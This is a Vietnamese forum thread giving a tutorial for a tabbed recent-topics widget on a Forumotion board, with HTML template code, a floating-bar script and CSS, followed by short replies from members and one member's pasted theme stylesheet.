<tr><td style="padding: 0px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="100%"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr valign="top"><td style="border-top: 0px none; padding: 0px; background: transparent url(http://i832.photobucket.com/albums/zz244/a1tg3/list.gif) no-repeat scroll center top; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="24"><img src="http://2img.net/i/fa/empty.gif" width="24" border="0"></td><td style="border-top: 0px none; padding: 0px; line-height: 20px; background-repeat: repeat;" align="left" background="http://i832.photobucket.com/albums/zz244/a1tg3/listbg.gif" width="80%"><!-- BEGIN recent_topic_row --><a onmouseover="showtip('<b>Tiêu đề:</b> <font color=#B429DF>{classical_row.recent_topic_row.L_TITLE}</font><br> <b>Thời gian:</b> <font color=#297CDF>{classical_row.recent_topic_row.S_POSTTIME}</font>');" onmouseout="hidetip();" href="{classical_row.recent_topic_row.U_TITLE}"><b><font style="font-family: Tahoma; font-size: 11px">{classical_row.recent_topic_row.L_TITLE}</font></b></a><br><!-- END recent_topic_row --></td><td></td><td style="border-top: 0px none; padding: 2px; line-height: 20px; background-repeat: repeat;" align="right" background="http://i832.photobucket.com/albums/zz244/a1tg3/listbg.gif" width="20%"><!-- BEGIN recent_topic_row --><a onmouseover="showtip('<span>Click để xem profile của thành viên này !</span>');" onmouseout="hidetip();" href="{classical_row.recent_topic_row.U_POSTER}"><font style="font-family: Tahoma; font-size: 11px"><img src="http://i832.photobucket.com/albums/zz244/a1tg3/mem.gif" height="13" />{classical_row.recent_topic_row.S_POSTER}  </font></a><br><!-- END recent_topic_row --></td></tr></table></td></tr></tbody></table>

<!-- END classical_row -->

</div><div class="Page" style="padding: 0px; height: 304px; display: block;"><table class="tborder" style="border-bottom-width: 0px;" align="center" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr>
<td>

<table align="center" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
</table></td></tr></tbody>
<tbody>
<tr><td style="padding: 0px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="100%"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr valign="top"><td style="border-top: 0px none; padding: 0px; background: transparent url(http://i832.photobucket.com/albums/zz244/a1tg3/list.gif) no-repeat scroll center top; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="24"><img src="http://2img.net/i/fa/empty.gif" width="24" border="0"></td><td style="border-top: 0px none; padding: 0px; line-height: 20px; background-repeat: repeat;" align="left" background="http://i832.photobucket.com/albums/zz244/a1tg3/listbg.gif">
<A href=http://a1tinhgia3.co.cc/search.forum?search_id=activetopics><span><font style="font-family: Tahoma; font-size: 11px">Bài viết trong ngày</span></a><br>
<A href=http://a1tinhgia3.co.cc/stats.htm#10><span><font style="font-family: Tahoma; font-size: 11px">Các bài viết trong tháng</span></a><br>
<A href=http://a1tinhgia3.co.cc/stats.htm#2><span><font style="font-family: Tahoma; font-size: 11px">Thống kê tổng thể</span></a><br>
<A href=http://a1tinhgia3.co.cc/stats.htm#3><span><font style="font-family: Tahoma; font-size: 11px">Topic sôi nổi nhất</span></a><br>
 <A href=http://a1tinhgia3.co.cc/stats.htm#4><span><font style="font-family: Tahoma; font-size: 11px">Topic xem nhiều nhất</span></a><br>
 <A href=http://a1tinhgia3.co.cc/stats.htm#5><span><font style="font-family: Tahoma; font-size: 11px">Thành viên có nhiều chủ đề nhất</span></a><br>
 <A href=http://a1tinhgia3.co.cc/stats.htm#6><span><font style="font-family: Tahoma; font-size: 11px">Thành viên post bài nhiều nhất trong 1 tuần</span></a><br>
 <A href=http://a1tinhgia3.co.cc/stats.htm#7><span><font style="font-family: Tahoma; font-size: 11px">Thành viên post bài nhiều nhất trong tháng</span></a><br>
 <A href=http://a1tinhgia3.co.cc/stats.htm#8><span><font style="font-family: Tahoma; font-size: 11px">Top poster</span></a><br>
  <A href=http://a1tinhgia3.co.cc/stats.htm#9><span><font style="font-family: Tahoma; font-size: 11px">Số topic trong tháng</span></a><br>
</td></tr></table></td></tr></tbody></table>
</div> <script type="text/javascript">tabview_initialize('TabView');</script><ScrollTop --><style type="text/css">#topbar{  PADDING-TOP: 0px;PADDING-BOTTOM: 0px;PADDING-RIGHT: 0px; PADDING-LEFT: 0px;VISIBILITY: hidden;WIDTH: 180px;FONT-FAMILY: Tahoma;POSITION: absolute;}</style><script type="text/javascript">var persistclose = 0<!--
 Vị trí-->var startX = 80var startY = 500var verticalpos = "frombottom"function iecompattest(){return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body}function get_cookie(Name){var search = Name + "="var returnvalue = "";if (document�cookie.length > 0){offset = document�cookie.indexOf(search)if (offset != -1){offset += search.lengthend = document�cookie.indexOf(";", offset);if (end == -1) end = document�cookie.length;returnvalue=unescape(document�cookie.substring(offset, end))}}return returnvalue;}function closebar(){if (persistclose)document�cookie="remainclosed=1"document.getElementById("topbar").style.visibility="hidden"}function staticbar(){barheight=document.getElementById("topbar").offsetHeightvar ns = (navigator.appName.indexOf("Netscape") != -1) || window.opera;var d = document;function ml(id){var el=d.getElementById(id);if (!persistclose || persistclose && get_cookie("remainclosed")=="")el.style.visibility="visible"if(d.layers)el.style=el;el.sP=function(x,y){this.style.right=x+"px";this.style.top=y+"px";};el.x = startX;if (verticalpos=="fromtop")el.y = startY;else{el.y = ns ? pageYOffset + innerHeight : iecompattest().scrollTop + iecompattest().clientHeight;el.y -= startY;}return el;}window.stayTopLeft=function(){if (verticalpos=="fromtop"){var pY = ns ? pageYOffset : iecompattest().scrollTop;ftlObj.y += (pY + startY - ftlObj.y)/8;}else{var pY = ns ? pageYOffset + innerHeight - barheight: iecompattest().scrollTop + iecompattest().clientHeight - barheight;ftlObj.y += (pY - startY - ftlObj.y)/8;}ftlObj.sP(ftlObj.x, ftlObj.y);setTimeout("stayTopLeft()", 10);}ftlObj = ml("topbar");stayTopLeft();}if (window.addEventListener)window.addEventListener("load", staticbar, false)else if (window.attachEvent)window.attachEvent("onload", staticbar)else if (document.getElementById)window.onload=staticbar</script></div> </td>


2 . css:
vào (ACP>>Display>>Colors>>CSS) thêm đoạn này:

Code:

.tabs { margin: 0; padding: 0;}
.tabs { padding-bottom: 31px; margin-bottom: 15px; background: #e5effe; border-bottom: 1px solid #b4d0f3; }
.tabs li { list-style: none;float: left; line-height: 30px; border-right: 1px solid #b4d0f3; height: 30px; font-size: 11px;}
.tabs li.current { background: #FFF; height: 32px; font-weight: bold; }
.mainbox { background: #FFF; border: 1px solid #9DB3C5; margin-bottom: 6px; padding: 1px;}
.mainbox table { width: 100%; }
#dhtmlpointer, #dhtmltooltip
{
   z-index: 999;
   left: -300px; top:0px;
   visibility: hidden;
   position: absolute;
}
#dhtmltooltip
{
   border: #666 2.4px solid;
   -moz-opacity: 0.8;
   opacity: 0.8;
   filter: alpha(opacity=80);
   -moz-border-radius: 6px;
   -webkit-border-radius: 6px;
   padding: 10px;
   font-size: 9pt;
   font-family: Arial;
   background-color: white;
   width: auto;
   max-width: 340px;
   width:expression( document.body.clientWidth > 340? "340px": "auto" );
   text-align:left;
}

Để cho nó giống hơn thì có đoạn css cho catLeft

Code:

th.thLeft,td.catLeft {
    background-color: #e5effe;
  color: #000000;
  font: bold 10pt Tahoma;
    height: 31px;
 border-bottom: 1px #b4d0f3 solid;
    }

cách làm nè, link down video đây

http://www.mediafire.com/?gpwaupwosnyp3d9

thế là xong!! các bạn có thể thưởng thức thành quả
lưu ý: up lại toàn bộ link ảnh và file .js
demo: http://a1tinhgia3.co.cc/index.htm
Bài viết được viết bởi thuan007 và có sử dụng code của và Kền Kền Trắng

[cmcm7]

hay vãi

[RS_KN]

à mọi người sử dụng nhớ up lại link ảnh nhá...

[zkenz]

http://kenhouse.forumvi.net/index.htm
e nàm chatbox nó lại ra ntn

[FunnySharks]

thanks

[FFW_HA]

cám ơn nhiều vote + \\m/

[teenenter]

cảm ơn một phát hay we

[zkenz]

Code:

body {background-color: #ffffff;background-image: url("http://hitskin.com/themes/11/50/44/i_background.jpg");background-attachment: scroll;}* html {scrollbar-face-color: #;scrollbar-highlight-color: #;scrollbar-shadow-color: #;scrollbar-3dlight-color: #;scrollbar-arrow-color: #;scrollbar-track-color: #;scrollbar-darkshadow-color: #;}*+ html {scrollbar-face-color: #;scrollbar-highlight-color: #;scrollbar-shadow-color: #;scrollbar-3dlight-color: #;scrollbar-arrow-color: #;scrollbar-track-color: #;scrollbar-darkshadow-color: #;}th,td,p { font-family: Verdana,Arial,Helvetica,sans-serif }a img { border: none; }a:link,a:active,a:visited { color : #e87406; }a:hover{ text-decoration: underline !important; color : #db6f16; }hr{ height: 0; border: solid #ffffff 0; border-top-width: 1px;}.bodyline{ background-color: #ffffff; border: 1px #444444 solid;}.bodylinewidth {width:100%}.forumline{ background-color: #f6a03a; border: 2px #b5760a solid; }td.row1,td.row3.over:hover { background-color: #ffffff; }td.row2,td.row1.over:hover { background-color: #ffffff; }td.row3{ background-color: #ffffff; }td.rowpic {background-color: #ffffff;background-image: url("http://hitskin.com/themes/11/50/44/i_back_catd.jpg");css}th {color: #aa0ac5;font-size: 11px;font-weight : bold;background-color: #056b9e;height: 25px;background-image: url("http://hitskin.com/themes/11/50/44/i_back_title.jpg");padding: 2px 3px;}td.cat,td.catHead,td.catSides,td.catLeft,td.catRight,td.catBottom {background-image: url("http://hitskin.com/themes/11/50/44/i_back_catg.jpg");background-color:#ffffff; border: #ffffff; border-style: solid; height: 28px;}td.cat,td.catHead,td.catBottom {height: 29px;border-width: 0;}th.thHead,th.thSides,th.thTop,th.thLeft,th.thRight,th.thBottom,th.thCornerL,th.thCornerR {font-weight: bold; border: #ffffff; border-style: solid; /*height: 20px;*/}td.row3Right,td.spaceRow {background-color: #ffffff; border: #ffffff; border-style: solid;}td.pourcentback { background-color : #ffffff; }th.thHead,td.catHead { font-size: 12px; border-width: 1px 1px 0 1px; }th.thSides,td.catSides,td.spaceRow { border-width: 0 1px; }th.thRight,td.catRight,td.row3Right { border-width: 0 1px 0 0; }th.thLeft,td.catLeft { border-width: 0 0 0 1px; }th.thBottom,td.catBottom { border-width: 0 1px 1px 1px; }th.thTop { border-width: 1px 0 0; }th.thCornerL { border-width: 1px 0 0 1px; }th.thCornerR { border-width: 1px 1px 0 0; }.maintitle, .maintitle h1{font-weight: bold; font-size: 22px; font-family: TrebuchetMS,Verdana,Arial,Helvetica,sans-serif;text-decoration: none; line-height : 120%; color : #000000;}.forumline .row1,.forumline .row2,.forumline .row3,.forumline .row3Right {padding: 2px 3px;}.forumline td.pagination {padding:0; }.maintitle h1 {margin: 0; padding: 0; display: inline; }.gen { font-size : 12px; }.genmed { font-size : 11px; }.gensmall { font-size : 10px; }.gen,.genmed,.gensmall { color : #000000; }a.gen,a.genmed,a.gensmall { color: #e87406; text-decoration: none; }a.gen:hover,a.genmed:hover,a.gensmall:hover{ color: #db6f16; text-decoration: underline; }.mainmenu{ font-size : 11px; color : #000000 }a.mainmenu{ text-decoration: none; color : #e87406;}a.mainmenu:hover{ text-decoration: underline; color : #db6f16; }.cattitle{ font-weight: bold; font-size: 12px ; letter-spacing: 1px; color : #e87406}h1.cattitle {margin:0; padding: 0; display:inline;}a.cattitle{ text-decoration: none; color : #e87406; }a.cattitle:hover{ text-decoration: underline; }.forumlink{ font-weight: bold; font-size: 12px; color : #e87406; }a.forumlink { text-decoration: none; color : #e87406; }a.forumlink:hover{ text-decoration: underline; color : #db6f16; }.nav{ font-weight: bold; font-size: 11px; color : #000000; }a.nav{ text-decoration: none; color : #e87406; }a.nav:hover{ text-decoration: underline; }.topictitle,h1,h2{ font-weight: bold; font-size: 11px; color : #000000; }div.topictitle {display: inline;}h2.topic-title {display: inline; margin: 0; padding: 0;}a.topictitle:link{ text-decoration: none; color : #e87406; }a.topictitle:visited{ text-decoration: none; color : #fbcc9a; }a.topictitle:hover{ text-decoration: underline; color : #db6f16; }.name{ font-size : 11px; color : #000000;}.name a{ text-decoration:none; }.postdetails{ font-size : 10px; color : #000000; }.postbody{ font-size : 12px; line-height: 18px}a.postlink:link{ text-decoration: none; color : #e87406 }a.postlink:visited{ text-decoration: none; color : #fbcc9a; }a.postlink:hover{ text-decoration: underline; color : #db6f16}.code{ font-family: Courier,CourierNew,sans-serif; font-size: 11px; color: #1856ed;background-color: #ffffff; border: #ffffff; border-style: solid;border-left-width: 1px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px}.quote{ font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 11px; color: #e90696; line-height: 125%;background-color: #ffffff; border: #ffffff; border-style: solid;border-left-width: 1px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px}a.copyright{ color: #e87406; text-decoration: none;}a.copyright:hover { color: #db6f16; text-decoration: underline;}.coloradmin { color: #db2be5}.colormod { color: #1856ed}.vote {float: right;width: 10px;margin-left: 4px;}.vote .vote-button {text-align: center;font-weight: bold;margin-left: -1px;}.vote .vote-button a {text-decoration: none !important;}.vote .vote-bar {width: 3px;height: 50px;margin: 0 auto;border: 1px solid #000000;font-size: 0;}.vote .vote-no-bar {letter-spacing:-2px;margin-left:-2px;white-space:nowrap;}.vote .vote-bar-plus {background-color: #0f0;}.vote .vote-bar-minus {background-color: #f00;}h1.pagetitle {display: inline;margin: 0;padding: 0;font-size: 12px;color: #aa0ac5;}h1.title2 {font-size: 11px;}.secondarytitle,.secondarytitle h2 {margin: 0;padding: 0;color: #aa0ac5;}.secondarytitle h2 {display:inline;}.nav h1 {display: inline;}.hierarchy {display: inline;margin: 0;padding: 0;text-transform: none;border: none;font-size: 10px;}.mod-text {font-weight: bold;}img{border:0}input,textarea, select {color : #000000;font: normal 11px Verdana,Arial,Helvetica,sans-serif;border-color : #000000;}input.post, textarea.post, select { background-color : #ffffff; }.post-options {text-align: right;}.post-options img {cursor: pointer;vertical-align: middle;}input { text-indent : 2px; }input.button {background-color : #ffffff;color : #000000;font-size: 11px; font-family: Verdana,Arial,Helvetica,sans-serif;}input.mainoption {background-color : #ffffff;font-weight : bold;}input.liteoption {background-color : #ffffff;font-weight : normal;}.helpline { background-color: #ffffff; border-style: none; }input { background-color: #ffffff; }button.button2, input.button2 {font-size: 0.7em;border: 1px solid #BCBCBC;width: auto !important;padding: 1px 0;font-family: Verdana,Arial,Helvetica,sans-serif;color: #000000;background-repeat: repeat-x;background-color: #FAFAFA;background-image: url('http://2img.net/i/fa/prosilver/bg_button.gif');background-position: top;overflow: visible;vertical-align:middle;}button.button2:hover, input.button2:hover {border: 1px solid #db6f16;color: #db6f16;background-position: 0 100%;}* html button.button2, * html input.button2 {padding-bottom: 0;margin-bottom: 1px;height: 24px;padding-right: 3px;padding-left: 3px;}*+html button.button2, *+html input.button2 {height: 24px;padding-right: 3px;padding-left: 3px;}*+html button.button2 img { vertical-align: middle; }* html button.button2 img { vertical-align: middle; }button.bbcode {border: 1px solid #e3adad;background-image: url("http://2img.net/i/fa/wysiwyg/bg_button.png");}.select {background-color: #FFF;border: 1px solid #BCBCBC;position: absolute;z-index: 999;top: 0;left: 0;overflow: hidden;width: 0;}.select p {padding: 4px 6px;font-size: 0.7em;margin: 0;white-space: nowrap;text-align: left;}.select button {padding: 4px;font-size: 0.9em;margin: 0;background-color: #FFF;border: none;text-align:left;}.select button.button2 {border:1px solid #BCBCBC;padding: 0;}* html .select button.button2 {padding-right: 3px;padding-left: 3px;}.select button.button2:hover {border: 1px solid #db6f16;color: #db6f16;background-position: 0 100%;}.select button:hover,.selectHover {cursor: pointer;background-color: #EEE;}textarea#text_editor_textarea { width: 100% !important; }iframe#text_editor_iframe {width: 100%;height: 200px;}form#quick_reply textarea#text_editor_textarea {width: 100% !important;height: 100%;}form#quick_reply iframe#text_editor_iframe { width: 100%; }* html form#quick_reply iframe#text_editor_iframe { width: 600px; }*+html form#quick_reply iframe#text_editor_iframe { width: 600px; }#page-footer .gen strong {font-weight: normal;}@import url("form_ie.css");@media print {body {background-image: none;background-color: #fff;color: #000;}table.bodylinewidth span.maintitle {display: block;text-align: left;}table.bodylinewidth img#i_logo,.browse-arrows,.noprint,.messaging,.post-options,.poster-profile,img.i_icon_online,table.bodylinewidth .mainmenu,table.bodylinewidth .nav,table.bodylinewidth .gensmall,span.postdetails img,table.bodylinewidth .sig,table.bodylinewidth .catbottom,#info_open {display:none;}td.catHead, .t-title {text-align: left;}table.bodylinewidth .cattitle {letter-spacing: normal; font-size: 1em;}.thLeft,.thRight {color: #000; border: none; text-align:left;}.hr hr { visibility: hidden; }.hr {border-top: 1px dotted #ddd !important; }tr.post td {vertical-align: top;border-bottom: 1px solid #ccc;}tr.post td td {border: none;}span.gen {display: none;}}ul.abuse {list-style: none;line-height: 1.5em;font-size: 0.9em;}.rtl-spacer:before {content: " ";white-space: pre;}.rtl-spacer:after {content: " ";white-space: pre;}.warning {color:#ff3333;}.captcha div.captcha-img {float: left;margin: 0 1em 0 0;}.captcha .inputbox {margin-top: 0.5em;}.align_gauche {text-align: left;}.center {text-align: center;}.align_droite {text-align: right;}.right {float: right;}.left {float: left;}/* TGF Clearfix */.clearfix:after {content: ".";display: block;height: 0;clear: both;visibility: hidden;}*+ html .clearfix {min-height: 1px;}* html .clearfix {position: relative; height: 1%; clear: both;}#page-footer, .clear {clear: both;}#page-footer h3 { margin-top: 20px; }#content-container #left {width: 180px;margin-right: 3px;}#content-container #right {width: 0px;margin-left: 3px;}.module-title {font-weight: bold;margin: 0 auto;text-align: center;display: block;}/* Chatbox */#frame_chatbox {border: none !important;}body.chatbox {min-width: 550px !important;background-image: none;padding: 0;margin: 0;background-color: #ffffff;}#chatbox_members {position: absolute;top: 30px;bottom: 30px;width: 180px;overflow: auto;border-right: 1px solid ;}#chatbox {position: absolute;top: 30px;left: 181px;right: 0;bottom: 30px;overflow: auto;line-height: 10px;}.chatbox_row_1,.chatbox_row_2,.chatbox_row_3 {font-size: 12px;}.chatbox-options {text-align:right;}#chatbox_messenger_form .gen,#chatbox_messenger_form .text-field,#chatbox_messenger_form {float:right;white-space : nowrap;}#chatbox_footer {position: absolute;bottom: 0;left: 0;right: 0;height: 30px;}#chatbox_footer table.text-styles {float: right;}#chatbox_footer .text-field {float: left;}#chatbox_header {height: 30px;background-color: #ffffff;}#chatbox p {line-height: 1.2em;}.chatbox_row_1 {padding: 4px;background-color: #ffffff;}.chatbox_row_2 {padding: 4px;background-color: #ffffff;}.chatbox_row_3 {padding: 4px;background-color: #ffffff;}.memberlist_row_1 {padding: 2px 2px 2px 10px;background-color: #ffffff;}#chatbox_members .member-title {text-align: center;padding: 0.5em 0.25em;background-image: none;font-size: 12px;background-color: #ffffff;color : #e87406;font-family: Verdana,Arial,Helvetica,sans-serif;}#chatbox_members ul {list-style: none;margin: 0 0 0 10px;}#chatbox_members ul li {margin: 2px 2px 2px 0;}#message,#submit_button{border-width: 1px;}.fontbutton {padding: 1px;cursor: pointer;text-align: left;}.fontbutton_normal {background: #E1E1E2;}.fontbutton_selected {background: #BBC7CE;border: 1px solid #22229C;}.fontbutton_clicked {background: #959595;border: 1px solid #22229C;}.fontbutton_hover {background: #E1E1E2;border: 1px solid #22229C;}#chatbox .user {font-weight: bold;}div#chatbox {color: #000000;}#chatbox_contextmenu { background-color: #ffffff; border:1px solid #aaa;}#chatbox_contextmenu p {margin:0; padding: 1px 4px;font-family: verdana, arial, sans-serif;background: #;border-bottom:1px solid #777; }#chatbox_contextmenu p.hover { background: #; }#chatbox_contextmenu p.close {background: #ddd; padding: 1px; font-size: 70%; color:#fff; background: url(''); }#chatbox_contextmenu p.close img { vertical-align: middle; padding-left: 20px;}#chatbox_contextmenu a { color: #; text-decoration: none; font-size: 70%;}#chatbox_contextmenu a:hover { color: #; }.fontbutton{border:0;}* html #chatbox-members { /* IE expressions helping IE work in Standards mode */height: expression(( document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 3) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 0) ) + "px");}* html #chatbox { /* IE expressions helping IE work in Standards mode */height: expression(( document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 3) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 0) ) + "px");width: expression(( document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 10) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 1) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 1.3) ) + "px");}* html #chatbox-footer {/* IE expressions helping IE work in Standards mode */width: expression(( document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 0) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 0) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 0) ) + "px");}/* poll */.poll-result td {padding: 2px 4px; text-align: left;}.poll-result td.poll-title,.poll-result td.poll-results {text-align: center;}.progress-bar td {padding: 0 !important;}.poll-ballot {text-align: left;}/* Advanced profile */#profile-advanced-avatar .module, #profile-advanced-points .module, #profile-advanced-reputation .module, #profile-advanced-details {margin-right: 3px;}#profile-advanced-avatar .module, #profile-advanced-points .module, #profile-advanced-reputation .module, #profile-advanced-right .module {margin-bottom: 3px;}#profile-advanced-button {padding: 1px;}#profile-advanced-details {overflow: hidden;}#profile-advanced-details ol {margin: 0;padding: 0;list-style: none;}#profile-advanced-details ol li {display: block;margin-bottom: 4px;}#profile-advanced-details .avatar {float: left;}.avatar {width: 50px;border: 1px solid #056b9e;background-color: #fff;}.avatar img {width: 50px;}.friend-block .avatar {margin: 0 auto;cursor:pointer;}.avatar.mini, .avatar.mini img {width: 38px;height: 38px;}.friend-block {float: left;width: 70px;margin: 1px;text-align: center;overflow: hidden;}.friend_list_online_status {line-height: 11px;font-size: .9em;}.friend_list_online_status img {vertical-align: middle;}.friends-foes-list {float: left;width: 200px;height: 2em;}#profile-advanced-details .message-block {margin-left: 57px;}#profile-advanced-details .message-header {border-top: 1px solid #ffffff;background: #ffffff;padding: 4px;margin-bottom: 4px;}#profile-advanced-details .message-date {float: right;}#profile-advanced-details .message-body {margin-bottom: 4px;}#profile-advanced-details .message-footer {text-align: right;}#profile-advanced-details .message-footer li {display: inline;margin: 0 0.25em; /* Spacing between generation dot */}#profile-advanced-details .message-footer li:after {content: ' .'; /* Beware of character: can create a whitepage in IE6 if char does not exist in lang. */}#profile-advanced-details .message-footer li a {margin-right: 0.25em; /* Spacing between generation dot */text-decoration: underline;}#profile-advanced-details .message-footer li.last:after {content: normal;}#profile-advanced-add {margin-right: 4px;padding: 8px 0;text-align: right;}#profile-advanced-details .stats-field {margin: 4px 0 10px 4px;padding: 0 10px 6px;}#profile-advanced-details .stats-field legend {font-weight: bold;}#profile-advanced-details .stats-field ul {list-style-type:none;text-indent: 10px;padding: 0;}#profile-advanced-details .stats-field li {margin: 4px 0;}#login_popup {position: absolute;z-index: 999;display: none;}#login_popup_buttons {position: absolute;height:19px;bottom: 6px;right: 6px;}#login_popup_buttons input {margin-left: 6px;}ul.profile_field_list {padding:0;margin:0}html ul.profile_field_list li {list-style-type: none;}ul.profile_field_list > li {list-style-type: none;}.inputURL {font-size:10px;font-family:"Courier New", "Times New roman";letter-spacing:-1px;}.middleline {line-height:2em;}.invisible{display:none;visibility:hidden;}.visible{display:block;visibility:visible;}/* ajax profil */.ajax-profil_hover{background:transparent}.ajax-profil_parent{position:relative;zoom:1;}.ajax-profil_edit{cursor:pointer;position:absolute;top:0;left:-18px}.ajax-profil_edit img{margin-left:4px}.ajax-profil_valid{cursor:pointer;margin-left:4px;vertical-align:middle}#profile-advanced-details dl{padding:8px 10 8px 0;width:98%;margin:10px 0 0;}#profile-advanced-details dl dt{float:left;display:block;width:10em;}#profile-advanced-details dl dd{margin-left:10em;padding-left:12px;}#profile-advanced-details div.separator{clear:both;font-size:1px;line-height:1px;border-bottom:1px solid #dcdcdc;padding-top:10px;}#profile-advanced-details .ajax-profil_edit{left:-4px;}/* jqModal */.jqmWindow {display: none;position: fixed;left: 50%;width: 450px;margin-left: -225px;top: 50%;margin-top: -125px;background-color: #ffffff;border: 1px solid #b5760a;}.jqmOverlay {background-color: #000;}.jqDrag {cursor: move;}/* Blog */.blog_cal-border {display: inline;float: left;border: 1px solid #056b9e;background: #ffffff;padding: 1px;font-size: 0.9em;margin-right: 10px;}.blog_cal-content {width: 2.9em;background: #056b9e;padding: 1px;line-height: 1.4em;text-align: center;font-family: "Lucida Grande","Lucida Sans Unicode",Arial,Sans-Serif;color: #ffffff;}.blog_cal-content span {display: block;}.blog_cal-day {padding-left: 0.2em;font-size: 1.6em;letter-spacing: 0.2em;}.blog_cal-month {line-height: 0.7em;font-size: 2em;font-weight: bold;}.blog_cal-year {line-height: 1.2em;font-size: 0.8em;}.blog_title {padding-top: 5px;font-size: 16px;}.blog_title img {vertical-align: middle;}.blog_title .topictitle {font-size: 16px;}.blog_message {margin-top: 12px;font-size: 12px;}.blog_comments {margin-bottom: 2px;text-align: right;}.blog_comments img {vertical-align: middle;}#blog_comments {width: 90%;margin: 0 auto;}#blog_comments .postbody {width: 96%;}.blog_comment-avatar {float: left;}.blog_comment-avatar img {background-color: #fff;border: 1px solid #056b9e;vertical-align: middle;width: 38px;margin: 5px 5px 0 0;}#blog_comments table {margin-bottom: 2px;}#blog_comments .h3 {overflow: hidden;margin-top: 0;margin-left: 45px;padding: 0;min-height: 22px;}.blog_comment-title {float: left;min-height: 12px;margin-top: 7px;}.blog_comment-title a {text-decoration: none;}#blog_comments .profile-icons {float: right;margin-bottom: 5px;}/* Social bookmarking */#bookmarks {float: right;}#bookmarks a img {width: 20px;height: 20px;background: url(http://2img.net/i/fa/social_bookmarking/social_bookmarking.png) no-repeat scroll;vertical-align: middle;}#bookmarks a img.twitter {width: 16px;height: 16px;margin: 2px;background: url(http://2img.net/i/fa/social_bookmarking/twitter.png) no-repeat scroll;}#bookmarks img.delicious {background-position: -10px -10px;}#bookmarks img.digg {background-position: -10px -50px;}#bookmarks img.excite {background-position: -9px -90px;}#bookmarks img.facebook {background-position: -9px -128px;}#bookmarks img.furl {background-position: -10px -166px;}#bookmarks img.google {background-position: -10px -206px;}#bookmarks img.live {background-position: -9px -246px;}#bookmarks img.netscape {background-position: -9px -284px;}#bookmarks img.newsvine {background-position: -9px -322px;}#bookmarks img.reddit {background-position: -10px -360px;}#bookmarks img.slashdot {background-position: -10px -400px;}#bookmarks img.smarking {background-position: -9px -440px;}#bookmarks img.stumbleupon {background-position: -10px -478px;}#bookmarks img.technorati {background-position: -10px -518px;}#bookmarks img.yahoo {background-position: -10px -558px;}/* wysiwyg */.mceContentBody{background: #ffffff;color: #000000;}.align_right{text-align: right;}/* resize image */.resize_process .resizebox {display: none;}.resize_process img.resize_img {display: none;}.resizebox a.enlarge, .resizebox.showfull a.fullsize, .resizebox.enlarged a.resize {display: inline-block;zoom: 1;*display: inline;}.resizebox.enlarged a.enlarge, .resizebox a.fullsize, .resizebox a.resize {display: none;}.resizebox {background-color: #ffffff;max-width: 100%;line-height: 1.1em;cursor: default;font-weight: normal;font-style: normal;margin: 0;text-align: left;display: inline-block;}.resizebox div {font-weight: normal;font-style: normal;margin: 0;}.resizebox .resize_border {border: 1px solid #ffffff;display: block;}.resizebox .resize_content {padding: 5px 10px;display: inline-block;zoom: 1;*display: inline;}.resizebox .resize_filler {border: none;padding: 0;width: 40px;display: inline-block;zoom: 1;*display: inline;}.attachbox {background-color:#ffffff;border:1px dashed #ffffff;clear:left;float:left;margin:5px 5px 5px 0;padding:6px;width:auto;color:#000000;}.attachbox dt {font-family:Arial,Helvetica,sans-serif;text-transform:uppercase;}.attachbox dd {border-top:1px solid #ffffff;clear:left;font-size:0.9em;margin-left:10px;padding:0;}dl.file {display:block;font-family:Verdana,Arial,Helvetica,sans-serif;margin-bottom:10px;}dl.file dt {font-family:Verdana,Arial,Helvetica,sans-serif;font-weight:bold;margin:0;padding:0;text-transform:none;}dl.file dt img {vertical-align:middle}.info {font-size:10px;font-style:italic;}/* Spoiler */.spoiler_closed {display:block;font-family: Verdana,Arial,Helvetica,sans-serif;font-size: 11px;color: #e90696;line-height: 125%;background-color: #ffffff;border: #ffffff;border-style: solid;border-left-width: 1px;border-top-width: 1px;border-right-width: 1px;border-bottom-width: 1px;}.spoiler_closed.hidden {display:none;}.spoiler_content {display:block;font-family: Verdana,Arial,Helvetica,sans-serif;font-size: 11px;color: #e90696;line-height: 125%;background-color: #ffffff;border: #ffffff;border-style: solid;border-left-width: 1px;border-top-width: 1px;border-right-width: 1px;border-bottom-width: 1px;}.spoiler_content.hidden {display:none;}/* Styles Facebook */.user_login_form {margin-bottom:5px;}.fb_or {background-color:#ffffff;border:2px solid #b5760a;font-weight:bold;padding:5px;color:#e90696;height : 16px;line-height : 16px;width  : 26px;display  : block;}#cont_pwd {width:150px;height:21px;float:left;padding:0 0 0 20px;}.pwd_img {padding : 4px 0 3px 0;width : 150px;height : 14px;line-height : 14px;font-size : 11px;font-weight : bold;text-align : center;color : #000000;display : none;}#pwd_good {background:url('http://2img.net/i/fa/p_strength/pwd_good.png');}#pwd_middle 